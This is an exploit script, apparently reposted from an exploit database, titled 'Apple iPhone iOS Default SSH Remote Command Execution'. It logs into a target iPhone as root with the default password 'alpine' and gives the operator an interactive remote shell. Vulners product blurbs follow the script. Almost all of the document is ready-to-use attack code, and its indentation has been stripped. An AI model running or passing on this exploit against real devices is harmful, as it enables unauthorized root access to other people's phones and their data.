#!/usr/bin/python
# This software opens a simple shell where you can type commands to send and works without Metasploit
# Exploit Title: Apple iPhone iOS Default SSH Remote Command Execution exploit
# Exploit Author: D35m0nd142
# Date: 17/02/2013
# Vendor Homepage: http://www.apple.com
# Screenshot: http://imageshack.us/photo/my-images/713/iphoneexploit.png/
# Tested on: Ubuntu 12.04 - Backtrack 5 R3 - Windows 7 Home Premium - Backbox
import paramiko
import sys,time
import os
os.system("clear")
iphoneip = sys.argv[1]
print "=================================================================="
print "= Apple iPhone iOS SSH Remote Command Execution exploit ="
print "= Created by D35m0nd142 ="
print "==================================================================\n"
#def usage():
# if len(sys.argv) != 2:
# print "Usage: python exploit.py <iphone_ip> \n"
# sys.exit(1)
def exploit(iphoneip,cmd):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(iphoneip,username='root',password='alpine')
stdin, stdout, stderr = ssh.exec_command(cmd)
resp = stdout.readlines()
print resp
ssh.close()
#usage()
time.sleep(1.3)
cmd = " "
while (cmd != "quit"):
try:
cmd = raw_input("shell:~# ")
exploit(iphoneip,cmd)
except KeyboardInterrupt:
print "\nExiting . . \n"
sys.exit(1)
# 0day.today [2018-01-08] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation